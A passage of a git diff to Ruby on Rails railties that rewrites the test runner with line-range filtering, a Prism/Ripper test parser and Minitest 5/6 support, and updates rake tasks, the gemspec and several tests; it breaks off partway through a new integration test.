diff --git a/railties/lib/rails/test_unit/line_filtering.rb b/railties/lib/rails/test_unit/line_filtering.rb
index 32ba7447013f4..716b0f8044f86 100644
--- a/railties/lib/rails/test_unit/line_filtering.rb
+++ b/railties/lib/rails/test_unit/line_filtering.rb
@@ -1,78 +1,34 @@
-require "method_source"
+# frozen_string_literal: true
+
+require "rails/test_unit/runner"
 
 module Rails
   module LineFiltering # :nodoc:
-    def run(reporter, options = {})
-      if options[:patterns] && options[:patterns].any? { |p| p =~ /:\d+/ }
-        options[:filter] = \
-          CompositeFilter.new(self, options[:filter], options[:patterns])
+    def self.extended(obj)
+      require "minitest"
+
+      case Minitest::VERSION
+      when /^5/ then
+        obj.extend MT5
+      when /^6/ then
+        obj.extend MT6
       end
-
-      super
-    end
-  end
-
-  class CompositeFilter # :nodoc:
-    attr_reader :named_filter
-
-    def initialize(runnable, filter, patterns)
-      @runnable = runnable
-      @named_filter = derive_named_filter(filter)
-      @filters = [ @named_filter, *derive_line_filters(patterns) ].compact
     end
 
-    # Minitest uses === to find matching filters.
-    def ===(method)
-      @filters.any? { |filter| filter === method }
-    end
+    module MT5
+      def run(reporter, options = {})
+        options = options.merge(filter: Rails::TestUnit::Runner.compose_filter(self, options[:filter]))
 
-    private
-      def derive_named_filter(filter)
-        if filter.respond_to?(:named_filter)
-          filter.named_filter
-        elsif filter =~ %r%/(.*)/% # Regexp filtering copied from Minitest.
-          Regexp.new $1
-        elsif filter.is_a?(String)
-          filter
-        end
+        super
       end
-
-      def derive_line_filters(patterns)
-        patterns.flat_map do |file_and_line|
-          file, *lines = file_and_line.split(":")
-
-          if lines.empty?
-            Filter.new(@runnable, file, nil) if file
-          else
-            lines.map { |line| Filter.new(@runnable, file, line) }
-          end
-        end
-      end
-  end
-
-  class Filter # :nodoc:
-    def initialize(runnable, file, line)
-      @runnable, @file = runnable, File.expand_path(file)
-      @line = line.to_i if line
     end
 
-    def ===(method)
-      return unless @runnable.method_defined?(method)
+    module MT6
+      def run_suite(reporter, options = {})
+        options = options.merge(include: Rails::TestUnit::Runner.compose_filter(self, options[:include]))
 
-      if @line
-        test_file, test_range = definition_for(@runnable.instance_method(method))
-        test_file == @file && test_range.include?(@line)
-      else
-        @runnable.instance_method(method).source_location.first == @file
+        super
       end
     end
-
-    private
-      def definition_for(method)
-        file, start_line = method.source_location
-        end_line = method.source.count("\n") + start_line - 1
-
-        return file, start_line..end_line
-      end
   end
 end
diff --git a/railties/lib/rails/test_unit/minitest_plugin.rb b/railties/lib/rails/test_unit/minitest_plugin.rb
deleted file mode 100644
index 4df3e7f0f2c55..0000000000000
--- a/railties/lib/rails/test_unit/minitest_plugin.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-require "active_support/core_ext/module/attribute_accessors"
-require "rails/test_unit/reporter"
-require "rails/test_unit/test_requirer"
-require "shellwords"
-
-module Minitest
-  class SuppressedSummaryReporter < SummaryReporter
-    # Disable extra failure output after a run if output is inline.
-    def aggregated_results
-      super unless options[:output_inline]
-    end
-  end
-
-  def self.plugin_rails_options(opts, options)
-    executable = ::Rails::TestUnitReporter.executable
-    opts.separator ""
-    opts.separator "Usage: #{executable} [options] [files or directories]"
-    opts.separator "You can run a single test by appending a line number to a filename:"
-    opts.separator ""
-    opts.separator "    #{executable} test/models/user_test.rb:27"
-    opts.separator ""
-    opts.separator "You can run multiple files and directories at the same time:"
-    opts.separator ""
-    opts.separator "    #{executable} test/controllers test/integration/login_test.rb"
-    opts.separator ""
-    opts.separator "By default test failures and errors are reported inline during a run."
-    opts.separator ""
-
-    opts.separator "Rails options:"
-    opts.on("-e", "--environment ENV",
-            "Run tests in the ENV environment") do |env|
-      options[:environment] = env.strip
-    end
-
-    opts.on("-b", "--backtrace",
-            "Show the complete backtrace") do
-      options[:full_backtrace] = true
-    end
-
-    opts.on("-d", "--defer-output",
-            "Output test failures and errors after the test run") do
-      options[:output_inline] = false
-    end
-
-    opts.on("-f", "--fail-fast",
-            "Abort test run on first failure or error") do
-      options[:fail_fast] = true
-    end
-
-    opts.on("-c", "--[no-]color",
-            "Enable color in the output") do |value|
-      options[:color] = value
-    end
-
-    opts.on("-w", "--warnings",
-            "Enable ruby warnings") do
-      $VERBOSE = true
-    end
-
-    options[:color] = true
-    options[:output_inline] = true
-    options[:patterns] = opts.order! unless run_via[:rake]
-  end
-
-  def self.rake_run(patterns) # :nodoc:
-    run_via[:rake] = true
-    ::Rails::TestRequirer.require_files(patterns)
-    autorun
-  end
-
-  module RunRespectingRakeTestopts
-    def run(args = [])
-      if run_via[:rake]
-        args = Shellwords.split(ENV["TESTOPTS"] || "")
-      end
-
-      super
-    end
-  end
-
-  singleton_class.prepend RunRespectingRakeTestopts
-
-  # Owes great inspiration to test runner trailblazers like RSpec,
-  # minitest-reporters, maxitest and others.
-  def self.plugin_rails_init(options)
-    ENV["RAILS_ENV"] = options[:environment] || "test"
-
-    # If run via `ruby` we've been passed the files to run directly, or if run
-    # via `rake` then they have already been eagerly required.
-    unless run_via[:ruby] || run_via[:rake]
-      ::Rails::TestRequirer.require_files(options[:patterns])
-    end
-
-    unless options[:full_backtrace] || ENV["BACKTRACE"]
-      # Plugin can run without Rails loaded, check before filtering.
-      Minitest.backtrace_filter = ::Rails.backtrace_cleaner if ::Rails.respond_to?(:backtrace_cleaner)
-    end
-
-    # Replace progress reporter for colors.
-    reporter.reporters.delete_if { |reporter| reporter.kind_of?(SummaryReporter) || reporter.kind_of?(ProgressReporter) }
-    reporter << SuppressedSummaryReporter.new(options[:io], options)
-    reporter << ::Rails::TestUnitReporter.new(options[:io], options)
-  end
-
-  mattr_accessor(:run_via) { Hash.new }
-end
-
-# Put Rails as the first plugin minitest initializes so other plugins
-# can override or replace our default reporter setup.
-# Since minitest only loads plugins if its extensions are empty we have
-# to call `load_plugins` first.
-Minitest.load_plugins
-Minitest.extensions.unshift "rails"
diff --git a/railties/lib/rails/test_unit/railtie.rb b/railties/lib/rails/test_unit/railtie.rb
index 746120e6a1ad4..8de9482da4023 100644
--- a/railties/lib/rails/test_unit/railtie.rb
+++ b/railties/lib/rails/test_unit/railtie.rb
@@ -1,8 +1,6 @@
-require "rails/test_unit/line_filtering"
+# frozen_string_literal: true
 
-if defined?(Rake.application) && Rake.application.top_level_tasks.grep(/^(default$|test(:|$))/).any?
-  ENV["RAILS_ENV"] ||= "test"
-end
+require "rails/test_unit/line_filtering"
 
 module Rails
   class TestUnitRailtie < Rails::Railtie
@@ -11,6 +9,7 @@ class TestUnitRailtie < Rails::Railtie
                                    fixture_replacement: nil
 
       c.integration_tool :test_unit
+      c.system_tests :test_unit
     end
 
     initializer "test_unit.line_filtering" do
diff --git a/railties/lib/rails/test_unit/reporter.rb b/railties/lib/rails/test_unit/reporter.rb
index fe11664d5e247..b2e6e17194f15 100644
--- a/railties/lib/rails/test_unit/reporter.rb
+++ b/railties/lib/rails/test_unit/reporter.rb
@@ -1,10 +1,21 @@
-require "active_support/core_ext/class/attribute"
+# frozen_string_literal: true
+
 require "minitest"
 
 module Rails
   class TestUnitReporter < Minitest::StatisticsReporter
-    class_attribute :executable
-    self.executable = "bin/rails test"
+    @app_root = ENV["RAILS_TEST_PWD"]
+    singleton_class.attr_accessor :app_root
+
+    @executable = ENV.fetch("RAILS_TEST_EXECUTABLE", "bin/rails test")
+    singleton_class.attr_accessor :executable
+
+    def prerecord(test_class, test_name)
+      super
+      if options[:verbose]
+        io.print "%s#%s = " % [test_class.name, test_name]
+      end
+    end
 
     def record(result)
       super
@@ -50,7 +61,11 @@ def filtered_results
     end
 
     def relative_path_for(file)
-      file.sub(/^#{app_root}\/?/, "")
+      if app_root
+        file.sub(/^#{app_root}\/?/, "")
+      else
+        file
+      end
     end
 
     private
@@ -63,16 +78,30 @@ def fail_fast?
       end
 
       def format_line(result)
-        "%s#%s = %.2f s = %s" % [result.class, result.name, result.time, result.result_code]
+        "%.2f s = %s" % [result.time, result.result_code]
       end
 
       def format_rerun_snippet(result)
-        location, line = result.method(result.name).source_location
-        "#{executable} #{relative_path_for(location)}:#{line}"
+        location, line = if result.respond_to?(:source_location)
+          result.source_location
+        else
+          result.method(result.name).source_location
+        end
+
+        "#{self.class.executable} #{relative_path_for(location)}:#{line}"
       end
 
       def app_root
-        @app_root ||= defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root
+        @app_root ||= self.class.app_root ||
+          if ENV["RAILS_TEST_PWD"]
+            ENV["RAILS_TEST_PWD"]
+          elsif defined?(ENGINE_ROOT)
+            ENGINE_ROOT
+          elsif Rails.respond_to?(:root)
+            Rails.root
+          else
+            Dir.pwd
+          end
       end
 
       def colored_output?
diff --git a/railties/lib/rails/test_unit/runner.rb b/railties/lib/rails/test_unit/runner.rb
new file mode 100644
index 0000000000000..3aa613bf17cd6
--- /dev/null
+++ b/railties/lib/rails/test_unit/runner.rb
@@ -0,0 +1,217 @@
+# frozen_string_literal: true
+
+require "shellwords"
+require "rake/file_list"
+require "active_support"
+require "active_support/core_ext/module/attribute_accessors"
+require "active_support/core_ext/range"
+require "rails/test_unit/test_parser"
+
+module Rails
+  module TestUnit
+    class InvalidTestError < ArgumentError
+      def initialize(path, suggestion)
+        super(<<~MESSAGE.rstrip)
+          Could not load test file: #{path}.
+          #{suggestion}
+        MESSAGE
+      end
+
+      def backtrace(*args)
+        []
+      end
+    end
+
+    class Runner
+      TEST_FOLDERS = [:models, :helpers, :channels, :controllers, :mailers, :integration, :jobs, :mailboxes]
+      PATH_ARGUMENT_PATTERN = %r"^(?!/.+/$)[.\w]*[/\\]"
+      mattr_reader :filters, default: []
+      mattr_reader :load_test_files, default: false
+
+      class << self
+        def attach_before_load_options(opts)
+          opts.on("--warnings", "-w", "Run with Ruby warnings enabled") { }
+          opts.on("-e", "--environment ENV", "Run tests in the ENV environment") { }
+        end
+
+        def parse_options(argv)
+          # Perform manual parsing and cleanup since option parser raises on unknown options.
+          env_index = argv.index("--environment") || argv.index("-e")
+          if env_index
+            argv.delete_at(env_index)
+            environment = argv.delete_at(env_index).strip
+          end
+          ENV["RAILS_ENV"] = environment || "test"
+
+          w_index = argv.index("--warnings") || argv.index("-w")
+          $VERBOSE = argv.delete_at(w_index) if w_index
+        end
+
+        def run_from_rake(test_command, argv = [])
+          # Ensure the tests run during the Rake Task action, not when the process exits
+          success = system("rails", test_command, *argv, *Shellwords.split(ENV["TESTOPTS"] || ""))
+          success || exit(false)
+        end
+
+        def run(args = [])
+          require "active_support/testing/autorun"
+
+          @@load_test_files = true
+
+          at_exit do
+            ARGV.replace(args)
+          end
+        end
+
+        def load_tests(argv)
+          patterns = extract_filters(argv)
+          tests = list_tests(patterns)
+          tests.to_a.each do |path|
+            abs_path = File.expand_path(path)
+            require abs_path
+          rescue LoadError => exception
+            if exception.path == abs_path
+              all_tests = list_tests([default_test_glob])
+              corrections = DidYouMean::SpellChecker.new(dictionary: all_tests).correct(path)
+
+              if corrections.empty?
+                raise exception
+              end
+              raise(InvalidTestError.new(path, DidYouMean::Formatter.message_for(corrections)), cause: nil)
+            else
+              raise
+            end
+          end
+        end
+
+        def compose_filter(runnable, filter)
+          filter = normalize_declarative_test_filter(filter)
+
+          if filters.any? { |_, lines| lines.any? }
+            CompositeFilter.new(runnable, filter, filters)
+          else
+            filter
+          end
+        end
+
+        private
+          def extract_filters(argv)
+            # Extract absolute and relative paths but skip -n /.*/ regexp filters.
+            argv.filter_map do |path|
+              path = path.tr("\\", "/")
+              case
+              when /(:\d+(-\d+)?)+$/.match?(path)
+                file, *lines = path.split(":")
+                filters << [ file, lines ]
+                file
+              when Dir.exist?(path)
+                "#{path}/**/*_test.rb"
+              else
+                filters << [ path, [] ]
+                path
+              end
+            end
+          end
+
+          def default_test_glob
+            ENV["DEFAULT_TEST"] || "test/**/*_test.rb"
+          end
+
+          def default_test_exclude_glob
+            ENV["DEFAULT_TEST_EXCLUDE"] || "test/{system,dummy,fixtures}/**/*_test.rb"
+          end
+
+          def regexp_filter?(arg)
+            arg.start_with?("/") && arg.end_with?("/")
+          end
+
+          def path_argument?(arg)
+            PATH_ARGUMENT_PATTERN.match?(arg)
+          end
+
+          def list_tests(patterns)
+            tests = Rake::FileList[patterns.any? ? patterns : default_test_glob]
+            tests.exclude(default_test_exclude_glob) if patterns.empty?
+            tests.exclude(%r{test/isolation/assets/node_modules})
+            tests
+          end
+
+          def normalize_declarative_test_filter(filter)
+            if filter.is_a?(String)
+              if regexp_filter?(filter)
+                # Minitest::Spec::DSL#it does not replace whitespace in method
+                # names, so match unmodified method names as well.
+                filter = filter.gsub(/\s+/, "_").delete_suffix("/") + "|" + filter.delete_prefix("/")
+              elsif !filter.start_with?("test_")
+                filter = "test_#{filter.gsub(/\s+/, "_")}"
+              end
+            end
+            filter
+          end
+      end
+    end
+
+    class CompositeFilter # :nodoc:
+      attr_reader :named_filter
+
+      def initialize(runnable, filter, patterns)
+        @runnable = runnable
+        @named_filter = derive_named_filter(filter)
+        @filters = [ @named_filter, *derive_line_filters(patterns) ].compact
+      end
+
+      # minitest uses === to find matching filters.
+      def ===(method)
+        @filters.any? { |filter| filter === method }
+      end
+
+      private
+        def derive_named_filter(filter)
+          if filter.respond_to?(:named_filter)
+            filter.named_filter
+          elsif filter =~ %r%/(.*)/% # Regexp filtering copied from minitest.
+            Regexp.new $1
+          elsif filter.is_a?(String)
+            filter
+          end
+        end
+
+        def derive_line_filters(patterns)
+          patterns.flat_map do |file, lines|
+            if lines.empty?
+              Filter.new(@runnable, file, nil) if file
+            else
+              lines.map { |line| Filter.new(@runnable, file, line) }
+            end
+          end
+        end
+    end
+
+    class Filter # :nodoc:
+      def initialize(runnable, file, line_or_range)
+        @runnable, @file = runnable, File.expand_path(file)
+        if line_or_range
+          first, last = line_or_range.split("-").map(&:to_i)
+          last ||= first
+          @line_range = Range.new(first, last)
+        end
+      end
+
+      def ===(method)
+        return unless @runnable.method_defined?(method)
+
+        if @line_range
+          test_file, test_range = definition_for(@runnable.instance_method(method))
+          test_file == @file && @line_range.overlaps?(test_range)
+        else
+          @runnable.instance_method(method).source_location.first == @file
+        end
+      end
+
+      private
+        def definition_for(method)
+          TestParser.definition_for(method)
+        end
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/test_parser.rb b/railties/lib/rails/test_unit/test_parser.rb
new file mode 100644
index 0000000000000..8c7b7f7a00c9c
--- /dev/null
+++ b/railties/lib/rails/test_unit/test_parser.rb
@@ -0,0 +1,136 @@
+# frozen_string_literal: true
+
+begin
+  require "prism"
+rescue LoadError
+  # If Prism isn't available (because of using an older Ruby version) then we'll
+  # define a fallback parser using ripper.
+end
+
+if defined?(Prism)
+  module Rails
+    module TestUnit
+      # Parse a test file to extract the line ranges of all tests in both
+      # method-style (def test_foo) and declarative-style (test "foo" do)
+      module TestParser
+        @begins_to_ends = {}
+        # Helper to translate a method object into the path and line range where
+        # the method was defined.
+        def self.definition_for(method)
+          filepath, start_line = method.source_location
+          @begins_to_ends[filepath] ||= ranges(filepath)
+          return unless end_line = @begins_to_ends[filepath][start_line]
+          [filepath, start_line..end_line]
+        end
+
+        private
+          def self.ranges(filepath)
+            queue = [Prism.parse_file(filepath).value]
+            begins_to_ends = {}
+            while (node = queue.shift)
+              case node.type
+              when :def_node
+                begins_to_ends[node.location.start_line] = node.location.end_line
+              when :call_node
+                begins_to_ends[node.location.start_line] = node.location.end_line
+              end
+
+              queue.concat(node.compact_child_nodes)
+            end
+            begins_to_ends
+          end
+      end
+    end
+  end
+
+  # If we have Prism, then we don't need to define the fallback parser using
+  # ripper.
+  return
+end
+
+require "ripper"
+
+module Rails
+  module TestUnit
+    # Parse a test file to extract the line ranges of all tests in both
+    # method-style (def test_foo) and declarative-style (test "foo" do)
+    class TestParser < Ripper # :nodoc:
+      # Helper to translate a method object into the path and line range where
+      # the method was defined.
+      def self.definition_for(method_obj)
+        path, begin_line = method_obj.source_location
+        begins_to_ends = new(File.read(path), path).parse
+        return unless end_line = begins_to_ends[begin_line]
+        [path, (begin_line..end_line)]
+      end
+
+      def initialize(*)
+        # A hash mapping the 1-indexed line numbers that tests start on to where they end.
+        @begins_to_ends = {}
+        super
+      end
+
+      def parse
+        super
+        @begins_to_ends
+      end
+
+      # method test e.g. `def test_some_description`
+      # This event's first argument gets the `ident` node containing the method
+      # name, which we have overridden to return the line number of the ident
+      # instead.
+      def on_def(begin_line, *)
+        @begins_to_ends[begin_line] = lineno
+      end
+
+      # Everything past this point is to support declarative tests, which
+      # require more work to get right because of the many different ways
+      # methods can be invoked in ruby, all of which are parsed differently.
+      #
+      # The approach is just to store the current line number when the
+      # "test" method is called and pass it up the tree so it's available at
+      # the point when we also know the line where the associated block ends.
+
+      def on_method_add_block(begin_line, end_line)
+        if begin_line && end_line
+          @begins_to_ends[begin_line] = end_line
+        end
+      end
+
+      def on_command_call(*, begin_lineno, _args)
+        begin_lineno
+      end
+
+      def first_arg(arg, *)
+        arg
+      end
+
+      def just_lineno(*)
+        lineno
+      end
+
+      alias on_method_add_arg first_arg
+      alias on_command first_arg
+      alias on_stmts_add first_arg
+      alias on_arg_paren first_arg
+      alias on_bodystmt first_arg
+
+      alias on_ident just_lineno
+      alias on_do_block just_lineno
+      alias on_stmts_new just_lineno
+      alias on_brace_block just_lineno
+
+      def on_args_new
+        []
+      end
+
+      def on_args_add(parts, part)
+        parts << part
+      end
+
+      def on_args_add_block(args, *rest)
+        args.first
+      end
+    end
+  end
+end
diff --git a/railties/lib/rails/test_unit/test_requirer.rb b/railties/lib/rails/test_unit/test_requirer.rb
deleted file mode 100644
index fe35934abc853..0000000000000
--- a/railties/lib/rails/test_unit/test_requirer.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-require "active_support/core_ext/object/blank"
-require "rake/file_list"
-
-module Rails
-  class TestRequirer # :nodoc:
-    class << self
-      def require_files(patterns)
-        patterns = expand_patterns(patterns)
-
-        Rake::FileList[patterns.compact.presence || "test/**/*_test.rb"].to_a.each do |file|
-          require File.expand_path(file)
-        end
-      end
-
-      private
-        def expand_patterns(patterns)
-          patterns.map do |arg|
-            arg = arg.gsub(/(:\d+)+?$/, "")
-            if Dir.exist?(arg)
-              "#{arg}/**/*_test.rb"
-            else
-              arg
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/railties/lib/rails/test_unit/testing.rake b/railties/lib/rails/test_unit/testing.rake
index 4c157c12628ec..a695c5275da50 100644
--- a/railties/lib/rails/test_unit/testing.rake
+++ b/railties/lib/rails/test_unit/testing.rake
@@ -1,18 +1,13 @@
-gem "minitest"
+# frozen_string_literal: true
+
 require "minitest"
-require "rails/test_unit/minitest_plugin"
+require "rails/test_unit/runner"
 
 task default: :test
 
-desc "Runs all tests in test folder"
+desc "Run all tests in test folder except system ones"
 task :test do
-  $: << "test"
-  pattern = if ENV.key?("TEST")
-    ENV["TEST"]
-  else
-    "test"
-  end
-  Minitest.rake_run([pattern])
+  Rails::TestUnit::Runner.run_from_rake("test", Array(ENV["TEST"]))
 end
 
 namespace :test do
@@ -23,28 +18,22 @@ namespace :test do
 
   task run: %w[test]
 
-  desc "Run tests quickly, but also reset db"
-  task db: %w[db:test:prepare test]
-
-  ["models", "helpers", "controllers", "mailers", "integration", "jobs"].each do |name|
-    task name => "test:prepare" do
-      $: << "test"
-      Minitest.rake_run(["test/#{name}"])
-    end
+  desc "Reset the database and run `bin/rails test`"
+  task :db do
+    success = system({ "RAILS_ENV" => ENV.fetch("RAILS_ENV", "test") }, "rake", "db:test:prepare", "test")
+    success || exit(false)
   end
 
-  task generators: "test:prepare" do
-    $: << "test"
-    Minitest.rake_run(["test/lib/generators"])
-  end
-
-  task units: "test:prepare" do
-    $: << "test"
-    Minitest.rake_run(["test/models", "test/helpers", "test/unit"])
-  end
-
-  task functionals: "test:prepare" do
-    $: << "test"
-    Minitest.rake_run(["test/controllers", "test/mailers", "test/functional"])
+  [
+    *Rails::TestUnit::Runner::TEST_FOLDERS,
+    :all,
+    :generators,
+    :units,
+    :functionals,
+    :system,
+  ].each do |name|
+    task name do
+      Rails::TestUnit::Runner.run_from_rake("test:#{name}")
+    end
   end
 end
diff --git a/railties/lib/rails/testing/maintain_test_schema.rb b/railties/lib/rails/testing/maintain_test_schema.rb
new file mode 100644
index 0000000000000..3197b77d10928
--- /dev/null
+++ b/railties/lib/rails/testing/maintain_test_schema.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+if defined?(ActiveRecord::Base)
+  begin
+    ActiveRecord::Migration.maintain_test_schema!
+  rescue ActiveRecord::PendingMigrationError => e
+    puts e.to_s.strip
+    exit 1
+  end
+
+  if Rails.configuration.eager_load
+    ActiveRecord::Base.descendants.each do |model|
+      model.load_schema if !model.abstract_class? && model.table_exists?
+    end
+  end
+end
diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb
index 3d8e8291d187d..e230fc7144c8b 100644
--- a/railties/lib/rails/version.rb
+++ b/railties/lib/rails/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module Rails
-  # Returns the version of the currently loaded Rails as a string.
+  # Returns the currently loaded version of \Rails as a string.
   def self.version
     VERSION::STRING
   end
diff --git a/railties/lib/rails/welcome_controller.rb b/railties/lib/rails/welcome_controller.rb
index b757dc72efff6..986c7c0a74824 100644
--- a/railties/lib/rails/welcome_controller.rb
+++ b/railties/lib/rails/welcome_controller.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "rails/application_controller"
 
 class Rails::WelcomeController < Rails::ApplicationController # :nodoc:
+  skip_forgery_protection
   layout false
 
   def index
diff --git a/railties/lib/rails/zeitwerk_checker.rb b/railties/lib/rails/zeitwerk_checker.rb
new file mode 100644
index 0000000000000..28a6c161cc221
--- /dev/null
+++ b/railties/lib/rails/zeitwerk_checker.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+# The actual (private) implementation of the Rake task zeitwerk:check.
+class Rails::ZeitwerkChecker # :nodoc:
+  def self.check
+    Zeitwerk::Loader.eager_load_all
+
+    autoloaded = ActiveSupport::Dependencies.autoload_paths + ActiveSupport::Dependencies.autoload_once_paths
+    eager_loaded = ActiveSupport::Dependencies._eager_load_paths.to_a
+
+    unchecked = autoloaded - eager_loaded
+    unchecked.select! { |dir| Dir.exist?(dir) && !Dir.empty?(dir)  }
+    unchecked
+  end
+end
diff --git a/railties/railties.gemspec b/railties/railties.gemspec
index 76de2b4639a98..773f43dc32bdd 100644
--- a/railties/railties.gemspec
+++ b/railties/railties.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,15 +9,15 @@ Gem::Specification.new do |s|
   s.summary     = "Tools for creating, working with, and running Rails applications."
   s.description = "Rails internals: application bootup, plugins, generators, and rake tasks."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
-  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "RDOC_MAIN.rdoc", "exe/**/*", "lib/**/{*,.[a-z]*}"]
+  s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "RDOC_MAIN.md", "exe/**/*", "lib/**/{*,.[a-z]*}"]
   s.require_path = "lib"
 
   s.bindir      = "exe"
@@ -23,12 +25,27 @@ Gem::Specification.new do |s|
 
   s.rdoc_options << "--exclude" << "."
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/railties/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/railties",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
   s.add_dependency "actionpack",    version
 
-  s.add_dependency "rake", ">= 0.8.7"
-  s.add_dependency "thor", ">= 0.18.1", "< 2.0"
-  s.add_dependency "method_source"
+  s.add_dependency "rackup", ">= 1.0.0"
+  s.add_dependency "rake", ">= 12.2"
+  s.add_dependency "thor", "~> 1.0", ">= 1.2.2"
+  s.add_dependency "zeitwerk", "~> 2.6"
+  s.add_dependency "irb", "~> 1.13"
+  s.add_dependency "tsort", ">= 0.2"
 
   s.add_development_dependency "actionview", version
 end
diff --git a/railties/test/abstract_unit.rb b/railties/test/abstract_unit.rb
index e4b2d0457d1eb..d61495abe6dd6 100644
--- a/railties/test/abstract_unit.rb
+++ b/railties/test/abstract_unit.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 ENV["RAILS_ENV"] ||= "test"
 
 require "stringio"
@@ -12,20 +14,12 @@
 
 module TestApp
   class Application < Rails::Application
-    config.root = File.dirname(__FILE__)
-    secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
+    config.root = File.expand_path("../../", __FILE__)
   end
 end
 
 class ActiveSupport::TestCase
   include ActiveSupport::Testing::Stream
-
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
-  end
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
-  end
 end
+
+require_relative "../../tools/test_common"
diff --git a/railties/test/app_loader_test.rb b/railties/test/app_loader_test.rb
index 85f5502b4df05..0deb1a76df114 100644
--- a/railties/test/app_loader_test.rb
+++ b/railties/test/app_loader_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "tmpdir"
 require "abstract_unit"
 require "rails/app_loader"
@@ -7,12 +9,12 @@ def loader
     @loader ||= Class.new do
       extend Rails::AppLoader
 
-      def self.exec_arguments
-        @exec_arguments
-      end
+      class << self
+        attr_accessor :exec_arguments
 
-      def self.exec(*args)
-        @exec_arguments = args
+        def exec(*args)
+          self.exec_arguments = args
+        end
       end
     end
   end
@@ -38,13 +40,13 @@ def expects_exec(exe)
     test "is not in a Rails application if #{exe} is not found in the current or parent directories" do
       def loader.find_executables; end
 
-      assert !loader.exec_app
+      assert_not loader.exec_app
     end
 
     test "is not in a Rails application if #{exe} exists but is a folder" do
       FileUtils.mkdir_p(exe)
 
-      assert !loader.exec_app
+      assert_not loader.exec_app
     end
 
     ["APP_PATH", "ENGINE_PATH"].each do |keyword|
@@ -59,7 +61,7 @@ def loader.find_executables; end
       test "is not in a Rails application if #{exe} exists but doesn't contain #{keyword}" do
         write exe
 
-        assert !loader.exec_app
+        assert_not loader.exec_app
       end
 
       test "is in a Rails application if parent directory has #{exe} containing #{keyword} and chdirs to the root directory" do
@@ -74,7 +76,7 @@ def loader.find_executables; end
 
         # Compare the realpath in case either of them has symlinks.
         #
-        # This happens in particular in Mac OS X, where @tmp starts
+        # This happens in particular in macOS, where @tmp starts
         # with "/var", and Dir.pwd with "/private/var", due to a
         # default system symlink var -> private/var.
         assert_equal File.realpath("#@tmp/foo"), File.realpath(Dir.pwd)
diff --git a/railties/test/application/action_controller_test_case_integration_test.rb b/railties/test/application/action_controller_test_case_integration_test.rb
new file mode 100644
index 0000000000000..4a7b84956bc69
--- /dev/null
+++ b/railties/test/application/action_controller_test_case_integration_test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "rack/test"
+
+class ActionControllerTestCaseIntegrationTest < ActionController::TestCase
+  class_attribute :executor_around_each_request
+
+  include ActiveSupport::Testing::Isolation
+
+  setup do
+    build_app
+
+    app_file "app/models/current.rb", <<-RUBY
+      class Current < ActiveSupport::CurrentAttributes
+        attribute :customer
+
+        resets { Time.zone = "UTC" }
+
+        def customer=(customer)
+          super
+          Time.zone = customer&.time_zone
+        end
+      end
+    RUBY
+
+    app_file "app/models/customer.rb", <<-RUBY
+      class Customer < Struct.new(:name)
+        def time_zone
+          "Copenhagen"
+        end
+      end
+    RUBY
+
+    remove_from_config '.*config\.load_defaults.*\n'
+    add_to_config "config.active_support.executor_around_test_case = #{self.class.executor_around_each_request}"
+
+    app_file "app/controllers/customers_controller.rb", <<-RUBY
+      class CustomersController < ApplicationController
+        layout false
+
+        def get_current_customer
+          render :index
+        end
+
+        def set_current_customer
+          Current.customer = Customer.new("david")
+          render :index
+        end
+      end
+    RUBY
+
+    app_file "app/views/customers/index.html.erb", <<-RUBY
+      <%= Current.customer&.name || 'noone' %>,<%= Time.zone.name %>
+    RUBY
+
+    app_file "config/routes.rb", <<~RUBY
+      Rails.application.routes.draw do
+        get "/customers/:action", controller: :customers
+      end
+    RUBY
+
+    require "#{app_path}/config/environment"
+
+    @controller = CustomersController.new
+    @routes = Rails.application.routes
+  end
+
+  teardown :teardown_app
+
+  class WithExecutorIntegrationTest < ActionControllerTestCaseIntegrationTest
+    self.executor_around_each_request = true
+
+    test "current customer is cleared after each request" do
+      assert Rails.application.config.active_support.executor_around_test_case
+      assert ActionController::TestCase.executor_around_each_request
+
+      get :get_current_customer
+      assert_response :ok
+      assert_match(/noone,UTC/, response.body)
+
+      get :set_current_customer
+      assert_response :ok
+      assert_match(/david,Copenhagen/, response.body)
+
+      get :get_current_customer
+      assert_response :ok
